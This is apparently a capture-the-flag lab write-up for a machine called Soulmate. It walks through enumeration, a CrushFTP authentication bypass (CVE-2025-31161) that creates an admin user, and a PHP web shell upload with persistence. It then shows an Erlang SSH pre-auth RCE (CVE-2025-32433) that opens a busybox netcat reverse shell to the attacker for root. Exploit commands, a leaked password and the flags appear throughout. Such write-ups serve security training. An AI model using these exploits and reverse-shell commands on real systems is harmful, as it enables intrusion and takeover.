![[Soulmate.png]] # **Nmap Results** ``` # Replace <target_ip> and <target_domain> echo -e "\ntarget_ip=10.129.211.221\ntarget_domain=soulmate.htb" | tee -a ~/.bashrc exec bash echo "$target_ip $target_domain" | sudo tee -a /etc/hosts mkdir -p ~/my_data/$target_domain/nmap && cd ~/my_data/$target_domain # Scan all TCP ports sudo nmap -sC -sV -oA nmap/full.tcp -p- $target_ip # Scan top 1000 UDP ports sudo nmap -sU -oA nmap/initial.udp $target_ip # Scan top 100 UDP ports using a faster timing template sudo nmap -sU -oA nmap/initial.fast.udp -T4 -F $target_ip ``` ``` # Nmap 7.94SVN scan initiated Sat Oct 11 21:57:20 2025 as: nmap -sC -sV -oA nmap/full.tcp -p- 10.129.211.221 Nmap scan report for soulmate.htb (10.129.211.221) Host is up (0.088s latency). Not shown: 65533 closed tcp ports (reset) PORT STATE SERVICE VERSION 22/tcp open ssh OpenSSH 8.9p1 Ubuntu 3ubuntu0.13 (Ubuntu Linux; protocol 2.0) | ssh-hostkey: | 256 3e:ea:45:4b:c5:d1:6d:6f:e2:d4:d1:3b:0a:3d:a9:4f (ECDSA) |_ 256 64:cc:75:de:4a:e6:a5:b4:73:eb:3f:1b:cf:b4:e3:94 (ED25519) 80/tcp open http nginx 1.18.0 (Ubuntu) |_http-server-header: nginx/1.18.0 (Ubuntu) | http-cookie-flags: | /: | PHPSESSID: |_ httponly flag not set |_http-title: Soulmate - Find Your Perfect Match Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel Service detection performed. Please report any incorrect results at https://nmap.org/submit/ . # Nmap done at Sat Oct 11 22:12:03 2025 -- 1 IP address (1 host up) scanned in 883.22 seconds ``` # **Service Enumeration** ## **TCP/80** ### **Walking the Application** Performed a directory brute force. Based off the results or by clicking around, a registration page can be found. After creating an account and logging in it was possible to upload files to the target. The dashboard states uploads are restricted to `.jpg`, `.png`, or `.gif` files. When uploading `dog.jpg` I was able to right-click and open the image in a new tab. It was accessible at `http://soulmate.htb/assets/images/profiles/3_1760239762.jpg`. The name of the file seems to be randomly generated upon upload. When uploading a `.php` file a `200 OK` was seen, however I was not able to right-click and open in a new tab. Seeing as how uploaded files are renamed, I would have to brute force the file name to see if the `.php` file was uploaded or not. At this point it was decided it was not worth the effort to pursue. ``` feroxbuster -u http://$target_domain -w /usr/share/wordlists/seclists/Discovery/Web-Content/raft-small-words.txt ``` ```text 200 GET 473l 932w 8657c http://soulmate.htb/assets/css/style.css 200 GET 178l 488w 8554c http://soulmate.htb/login.php 200 GET 238l 611w 11107c http://soulmate.htb/register.php 200 GET 306l 1061w 16688c http://soulmate.htb/ 301 GET 7l 12w 178c http://soulmate.htb/assets => http://soulmate.htb/assets/ 403 GET 7l 10w 162c http://soulmate.htb/assets/ 301 GET 7l 12w 178c http://soulmate.htb/assets/images => http://soulmate.htb/assets/images/ 301 GET 7l 12w 178c http://soulmate.htb/assets/css => http://soulmate.htb/assets/css/ 403 GET 7l 10w 162c http://soulmate.htb/assets/css/ 301 GET 7l 12w 178c http://soulmate.htb/assets/images/profiles => http://soulmate.htb/assets/images/profiles/ 403 GET 7l 10w 162c http://soulmate.htb/assets/images/ 403 GET 7l 10w 162c http://soulmate.htb/assets/images/profiles/ 403 GET 7l 10w 162c http://soulmate.htb/assets/.PHP 403 GET 7l 10w 162c http://soulmate.htb/assets/css/.PHP 403 GET 7l 10w 162c http://soulmate.htb/assets/images/.PHP 403 GET 7l 10w 162c http://soulmate.htb/assets/images/profiles/.PHP ``` ![[Soulmate - Upload New Picture.png]] ![[Soulmate - Open Image in New Tab.png]] ### **Subdomain Enumeration** Subdomain enumeration was done, `ftp.soulmate.htb` was discovered and was added to `/etc/hosts`. ``` ffuf -H "Host: FUZZ.$target_domain" -c -w /usr/share/wordlists/seclists/Discovery/DNS/subdomains-top1million-5000.txt -u http://$target_domain -fs 154 ``` ```text /'___\ /'___\ /'___\ /\ \__/ /\ \__/ __ __ /\ \__/ \ \ ,__\\ \ ,__\/\ \/\ \ \ \ ,__\ \ \ \_/ \ \ \_/\ \ \_\ \ \ \ \_/ \ \_\ \ \_\ \ \____/ \ \_\ \/_/ \/_/ \/___/ \/_/ v2.1.0-dev ________________________________________________ :: Method : GET :: URL : http://soulmate.htb :: Wordlist : FUZZ: /usr/share/wordlists/seclists/Discovery/DNS/subdomains-top1million-5000.txt :: Header : Host: FUZZ.soulmate.htb :: Follow redirects : false :: Calibration : false :: Timeout : 10 :: Threads : 40 :: Matcher : Response status: 200-299,301,302,307,401,403,405,500 :: Filter : Response size: 154 ________________________________________________ ftp [Status: 302, Size: 0, Words: 1, Lines: 1, Duration: 218ms] :: Progress: [4989/4989] :: Job [1/1] :: 471 req/sec :: Duration: [0:00:13] :: Errors: 0 :: ``` ### **Discovering a CrushFTP Web Interface** Attempted to login with common usernames and passwords, no valid credentials were discovered. ![[Soulmate - CrushFTP WebInterface.png]] # **Exploit** ### **CVE-2025-31161** Looking at the login page I was not able to determine the version of CrushFTP running. After a bit of research I discovered CVE-2025-31161 which allows an attacker unauthenticated access. The specific versions affect are CrushFTP 10 before 10.8.4 and 11 before 11.3.1. ``` wget https://www.exploit-db.com/raw/52295 -O cve-2025-31161.py pip install PrettyTable python3 cve-2025-31161.py --help python3 cve-2025-31161.py --target ftp.soulmate.htb --port 80 --target-user root --exploit --new-user not_sus --password password123 ``` ``` [36m / ____/______ _______/ /_ / ____/ /_____ / / / ___/ / / / ___/ __ \/ /_ / __/ __ \ / /___/ / / /_/ (__ ) / / / __/ / /_/ /_/ / \____/_/ \__,_/____/_/ /_/_/ \__/ .___/ /_/ [32mCVE-2025-31161 Exploit 2.0.0[33m | [36m Developer @ibrahimsql [0m Exploiting 1 targets with 10 threads... [+] Successfully created user not_sus on ftp.soulmate.htb Exploiting targets... ━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━ 100% (1/1) 0:00:00 Exploitation complete! Successfully exploited 1/1 targets. Exploited Targets: → ftp.soulmate.htb Summary: Total targets: 1 Vulnerable targets: 0 Exploited targets: 1 ``` ### **Accessing the CrushFTP Admin Dashboard** Using the credentials specified above, I was able to access the CrushFTP admin dashboard. I was able to change the password for the user `ben` by navigating to `Admin` -> `User Manager` -> `ben` -> `Generate Random Password` -> changing the password -> `Use this` -> `Save`. ![[Soulmate - Change Ben's Password.png]] ### **Uploading a PHP Web Shell** After logging out and back in as the user `ben`, I was able to upload a PHP web shell. The folder `webProd` within the CrushFTP dashboard contains the files being served at `http://soulmate.htb`. The initial connection I had died due to some script cleaning up the web shell I uploaded to the `webProd` directory. To establish a more consistent connection I uploaded the web shell again and immediately established a second C2 channel with `nohup`. With the second channel established I still had access to the target system even after my first channel died. ![[Soulmate - webProd Directory.png]] ![[Soulmate - Web Shell Upload.png]] ![[Soulmate - Call Back.png]] # **Post-Exploit Enumeration** ## **Operating Environment** > [!tldr]- OS &amp; Kernel >``` >python3 -c 'import pty; pty.spawn("/bin/bash")' www-data@soulmate:/$ uname -a uname -a Linux soulmate 5.15.0-153-generic #163-Ubuntu SMP Thu Aug 7 16:37:18 UTC 2025 x86_64 x86_64 x86_64 GNU/Linux www-data@soulmate:/$ cat /etc/*elease cat /etc/*elease DISTRIB_ID=Ubuntu DISTRIB_RELEASE=22.04 DISTRIB_CODENAME=jammy DISTRIB_DESCRIPTION="Ubuntu 22.04.5 LTS" PRETTY_NAME="Ubuntu 22.04.5 LTS" NAME="Ubuntu" VERSION_ID="22.04" VERSION="22.04.5 LTS (Jammy Jellyfish)" VERSION_CODENAME=jammy ID=ubuntu ID_LIKE=debian HOME_URL="https://www.ubuntu.com/" SUPPORT_URL="https://help.ubuntu.com/" BUG_REPORT_URL="https://bugs.launchpad.net/ubuntu/" PRIVACY_POLICY_URL="https://www.ubuntu.com/legal/terms-and-policies/privacy-policy" UBUNTU_CODENAME=jammy www-data@soulmate:/$ env env PWD=/ HOME=/var/www USER=www-data SHLVL=2 LC_CTYPE=C.UTF-8 PATH=/sbin:/usr/sbin:/bin:/usr/bin _=/bin/env > ``` > [!tldr]- Current User > ``` > www-data@soulmate:/$ id id uid=33(www-data) gid=33(www-data) groups=33(www-data) > ``` ## **Users and Groups** > [!tldr]- Local Users > ``` > www-data@soulmate:/$ cat /etc/passwd | egrep "nologin|false" -v cat /etc/passwd | egrep "nologin|false" -v root:x:0:0:root:/root:/bin/bash sync:x:4:65534:sync:/bin:/bin/sync ben:x:1000:1000:,,,:/home/ben:/bin/bash > ``` > [!tldr]- Local Groups > ``` www-data@soulmate:/$ cat /etc/group | egrep "www-data|ben|root" cat /etc/group | egrep "www-data|ben|root" root:x:0: www-data:x:33: ben:x:1000: > ``` ## **Network Configurations** > [!tldr]- Network Interfaces >``` >www-data@soulmate:/$ ip addr show dev eth0 >ip addr show dev eth0 >2: eth0: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1500 qdisc mq state UP group default qlen 1000 > link/ether 00:50:56:b0:23:6f brd ff:ff:ff:ff:ff:ff > altname enp3s0 > altname ens160 > inet 10.129.211.221/16 brd 10.129.255.255 scope global dynamic eth0 > valid_lft 2776sec preferred_lft 2776sec >``` >[!tldr]- Open Ports >``` >www-data@soulmate:/$ netstat -tanup | grep -i listen netstat -tanup | grep -i listen (Not all processes could be identified, non-owned process info will not be shown, you would have to be root to see it all.) tcp 0 0 127.0.0.1:9090 0.0.0.0:* LISTEN - tcp 0 0 127.0.0.1:4369 0.0.0.0:* LISTEN - tcp 0 0 127.0.0.1:8443 0.0.0.0:* LISTEN - tcp 0 0 0.0.0.0:80 0.0.0.0:* LISTEN 1217/nginx: worker tcp 0 0 127.0.0.1:2222 0.0.0.0:* LISTEN - tcp 0 0 0.0.0.0:22 0.0.0.0:* LISTEN - tcp 0 0 127.0.0.53:53 0.0.0.0:* LISTEN - tcp 0 0 127.0.0.1:40891 0.0.0.0:* LISTEN - tcp 0 0 127.0.0.1:8080 0.0.0.0:* LISTEN - tcp 0 0 127.0.0.1:44523 0.0.0.0:* LISTEN - tcp6 0 0 ::1:4369 :::* LISTEN - tcp6 0 0 :::80 :::* LISTEN 1217/nginx: worker tcp6 0 0 :::22 :::* LISTEN - >``` ## **Processes and Services** > [!tldr]- Interesting Processes >``` >www-data@soulmate:/$ ps aux --sort user | grep -v '\ \[.*\] ps aux --sort user | grep -v '\ \[.*\] root 1144 0.0 1.6 2252824 67700 ? Ssl 02:46 0:02 /usr/local/lib/erlang_login/start.escript -B -- -root /usr/local/lib/erlang -bindir /usr/local/lib/erlang/erts-15.2.5/bin -progname erl -- -home /root -- -noshell -boot no_dot_erlang -sname ssh_runner -run escript start -- -- -kernel inet_dist_use_interface {127,0,0,1} -- -extra /usr/local/lib/erlang_login/start.escript >root 1181 0.0 0.0 2892 984 ? Ss 02:46 0:00 /bin/sh -c /root/scripts/clean-web.sh root 1182 0.0 0.0 7372 3548 ? S 02:46 0:00 /bin/bash /root/scripts/clean-web.sh root 1786 0.0 0.0 1671188 3904 ? Sl 02:46 0:00 /usr/bin/docker-proxy -proto tcp -host-ip 127.0.0.1 -host-port 8443 -container-ip 172.19.0.2 -container-port 443 root 1792 0.0 0.0 1671188 3656 ? Sl 02:46 0:00 /usr/bin/docker-proxy -proto tcp -host-ip 127.0.0.1 -host-port 8080 -container-ip 172.19.0.2 -container-port 8080 root 1799 0.0 0.1 1744920 4716 ? Sl 02:46 0:01 /usr/bin/docker-proxy -proto tcp -host-ip 127.0.0.1 -host-port 9090 -container-ip 172.19.0.2 -container-port 9090 >``` # **Privilege Escalation** ## **Finding Clear-text Credentials in a Script** Once initial access was established, enumeration of the target system was performed. While reviewing the process list I discovered a startup script associated with Erlang/OTP SSH. Said script contained clear-text credentials for the user `ben`. With those credentials I was able to SSH into the target system. ``` ssh ben@$target_ip ``` ``` ben@soulmate:~$ id uid=1000(ben) gid=1000(ben) groups=1000(ben) ``` ``` cat /usr/local/lib/erlang_login/start.escript ``` ``` ...SNIP... io:format("Starting SSH daemon with logging...~n"), case ssh:daemon(2222, [ {ip, {127,0,0,1}}, {system_dir, "/etc/ssh"}, ...SNIP... {user_passwords, [{"ben", "HouseH0ldings998"}]}, ...SNIP... ``` ## **CVE-2025-32433** The target is running the SSH server implementation of Erlang, version OTP-24. After a bit of research I discovered CVE-2025-32433 which allows unauthenticated remote code execution (RCE) on version prior to OTP-27.3.3, OTP-26.2.5.11, and OTP-25.3.2.20. ``` erl -noshell -eval 'io:fwrite("~s\n", [erlang:system_info(otp_release)]).' -s erlang halt ``` ``` 24 ``` There was a POC on Github that simplified the exploitation of this CVE. Download the script to the op station. ``` wget https://raw.githubusercontent.com/NiteeshPujari/CVE-2025-32433-PoC/refs/heads/main/cve_2025_32433_exploit.py -O cve_2025_32433_exploit.py ``` Create a SSH port forward to access the Erlang port on the target system. ``` ssh -N -L 2222:127.0.0.1:2222 ben@$target_ip ``` Setup a listener on the op station ``` nc -lvnp 54186 ``` Run the POC from Github to get RCE. ``` python3 cve_2025_32433_exploit.py --help python3 cve_2025_32433_exploit.py --command 'os:cmd("busybox nc 10.10.14.219 54186 -e sh").' ``` ``` ___ _ _ ___ _ _ ____ ___ ____ ____ _ _ ____ / __| | | | _ \ | | | | _ \| _|/ ___|/ ___| | | | __ ) | (__| |_| | _/ |_| | | |_) | | | | | | | |_| | _ \ \___|\___/|_| |___/___| | _ <| | |___| |___| _ | |_) | |_| \_\___|\____|\____|_| |_|____/ Erlang/OTP SSH Pre-Auth RCE PoC (CVE-2025-32433) For CTF Challenges by Pujari Niteesh Enter target IP address (e.g., 127.0.0.1) [10.10.1.100]: 127.0.0.1 Enter target port (e.g., 2222) [2222]: 2222 [*] Connecting to SSH server at 127.0.0.1:2222... [DEBUG_EXPLOIT] Sending client banner (len: 21): b'SSH-2.0-OpenSSH_8.9\r\n' [DEBUG_EXPLOIT] Received server banner (len: 22): b'SSH-2.0-Erlang/5.2.9\r\n' [+] Received banner: SSH-2.0-Erlang/5.2.9 [*] Sending SSH_MSG_KEXINIT... [DEBUG_EXPLOIT] Sending KEXINIT packet (padded len: 248): 000000f407140000000000000000000000000000000000000067637572766532353531392d7368613235362c656364682d736861322d6e697374703235362c6469666669652d68656c6c6d616e2d67726f75702d65786368616e67652d7368613235362c6469666669652d68656c6c6d616e2d67726f757031342d736861323536000000197273612d736861322d3235362c7273612d736861322d3531320000000a6165733132382d6374720000000a6165733132382d63747200000009686d61632d7368613100000009686d61632d73686131000000046e6f6e65000000046e6f6e650000000000000000000000000000000000000000 [*] Sending SSH_MSG_CHANNEL_OPEN... [DEBUG_EXPLOIT] Sending CHANNEL_OPEN packet (padded len: 40): 000000240b5a0000000773657373696f6e0000000000068000000100000000000000000000000000 [*] Sending SSH_MSG_CHANNEL_REQUEST (pre-auth) with command: 'os:cmd("busybox nc 10.10.14.219 54186 -e sh").'... [DEBUG_EXPLOIT] Sending CHANNEL_REQUEST packet (padded len: 80): 0000004c0b62000000000000000465786563010000002e6f733a636d64282262757379626f78206e632031302e31302e31342e323139203534313836202d6520736822292e0000000000000000000000 [✓] Exploit sent! If the server is vulnerable, check the target for the result (e.g., /tmp/note.txt). [DEBUG_EXPLOIT] Received response from target after exploit (len: 1016): 000003f40814ac725b15d49d8fe72b4b63d27cb89b460000011e637572766532353531392d7368613235362c637572766532353531392d736861323536406c69627373682e6f72672c63757276653434382d7368613531322c656364682d736861322d6e697374703532312c656364682d736861322d6e697374703338342c656364682d736861322d6e697374703235362c6469666669652d68656c6c6d616e2d67726f75702d65786368616e67652d7368613235362c6469666669652d68656c6c6d616e2d67726f757031362d7368613531322c6469666669652d68656c6c6d616e2d67726f757031382d7368613531322c6469666669652d68656c6c6d616e2d67726f757031342d7368613235362c6578742d696e666f2d732c6b65782d7374726963742d732d763030406f70656e7373682e636f6d000000397373682d656432353531392c65636473612d736861322d6e697374703235362c7273612d736861322d3531322c7273612d736861322d323536000000966165733235362d67636d406f70656e7373682e636f6d2c6165733235362d6374722c6165733139322d6374722c6165733132382d67636d406f70656e7373682e636f6d2c6165733132382d6374722c63686163686132302d706f6c7931333035406f70656e7373682e636f6d2c6165733235362d6362632c6165733139322d6362632c6165733132382d6362632c336465732d636263000000966165733235362d67636d406f70656e7373682e636f6d2c6165733235362d6374722c6165733139322d6374722c6165733132382d67636d406f70656e7373682e636f6d2c6165733132382d6374722c63686163686132302d706f6c7931333035406f70656e7373682e636f6d2c6165733235362d6362632c6165733139322d6362632c6165733132382d6362632c336465732d6362630000007b686d61632d736861322d3531322d65746d406f70656e7373682e636f6d2c686d61632d736861322d3235362d65746d406f70656e7373682e636f6d2c686d61632d736861322d3531322c686d61632d736861322d3235362c686d61632d736861312d65746d406f70656e7373682e636f6d2c686d61632d736861310000007b686d61632d736861322d3531322d65746d406f70656e7373682e636f6d2c686d61632d736861322d3235362d65746d406f70656e7373682e636f6d2c686d61632d736861322d3531322c686d61632d736861322d3235362c686d61632d736861312d65746d406f70656e7373682e636f6d2c686d61632d736861310000001a6e6f6e652c7a6c6962406f70656e7373682e636f6d2c7a6c69620000001a6e6f6e652c7a6c6962406f70656e7373682e636f6d2c7a6c69620000000000000000000000000068e93619e3a86f3d [+] Received response from target after exploit: 000003f40814ac725b15d49d8fe72b4b63d27cb89b460000011e637572766532353531392d7368613235362c637572766532353531392d736861323536406c69627373682e6f72672c63757276653434382d7368613531322c656364682d736861322d6e697374703532312c656364682d736861322d6e697374703338342c656364682d736861322d6e697374703235362c6469666669652d68656c6c6d616e2d67726f75702d65786368616e67652d7368613235362c6469666669652d68656c6c6d616e2d67726f757031362d7368613531322c6469666669652d68656c6c6d616e2d67726f757031382d7368613531322c6469666669652d68656c6c6d616e2d67726f757031342d7368613235362c6578742d696e666f2d732c6b65782d7374726963742d732d763030406f70656e7373682e636f6d000000397373682d656432353531392c65636473612d736861322d6e697374703235362c7273612d736861322d3531322c7273612d736861322d323536000000966165733235362d67636d406f70656e7373682e636f6d2c6165733235362d6374722c6165733139322d6374722c6165733132382d67636d406f70656e7373682e636f6d2c6165733132382d6374722c63686163686132302d706f6c7931333035406f70656e7373682e636f6d2c6165733235362d6362632c6165733139322d6362632c6165733132382d6362632c336465732d636263000000966165733235362d67636d406f70656e7373682e636f6d2c6165733235362d6374722c6165733139322d6374722c6165733132382d67636d406f70656e7373682e636f6d2c6165733132382d6374722c63686163686132302d706f6c7931333035406f70656e7373682e636f6d2c6165733235362d6362632c6165733139322d6362632c6165733132382d6362632c336465732d6362630000007b686d61632d736861322d3531322d65746d406f70656e7373682e636f6d2c686d61632d736861322d3235362d65746d406f70656e7373682e636f6d2c686d61632d736861322d3531322c686d61632d736861322d3235362c686d61632d736861312d65746d406f70656e7373682e636f6d2c686d61632d736861310000007b686d61632d736861322d3531322d65746d406f70656e7373682e636f6d2c686d61632d736861322d3235362d65746d406f70656e7373682e636f6d2c686d61632d736861322d3531322c686d61632d736861322d3235362c686d61632d736861312d65746d406f70656e7373682e636f6d2c686d61632d736861310000001a6e6f6e652c7a6c6962406f70656e7373682e636f6d2c7a6c69620000001a6e6f6e652c7a6c6962406f70656e7373682e636f6d2c7a6c69620000000000000000000000000068e93619e3a86f3d ``` If everything was setup properly, a reverse shell should be established providing `root` level access to the target system. ``` listening on [any] 54186 ... connect to [10.10.14.219] from (UNKNOWN) [10.129.211.221] 56424 id uid=0(root) gid=0(root) ``` # **Flags** > [!tldr]- User > > `90caa32f5336036ef6613dfdfe1a2a1f` > [!tldr]- Root > > `42bd0d614e5412e6586b5c94bf7887d5` # **References** - [CVE 2025-31161](https://nvd.nist.gov/vuln/detail/CVE-2025-31161) - [CVE 2025-31161 POC](https://www.exploit-db.com/exploits/52295) - [CVE 2025-32433](https://nvd.nist.gov/vuln/detail/CVE-2025-32433) - [CVE 2025-32433 POC](https://github.com/NiteeshPujari/CVE-2025-32433-PoC)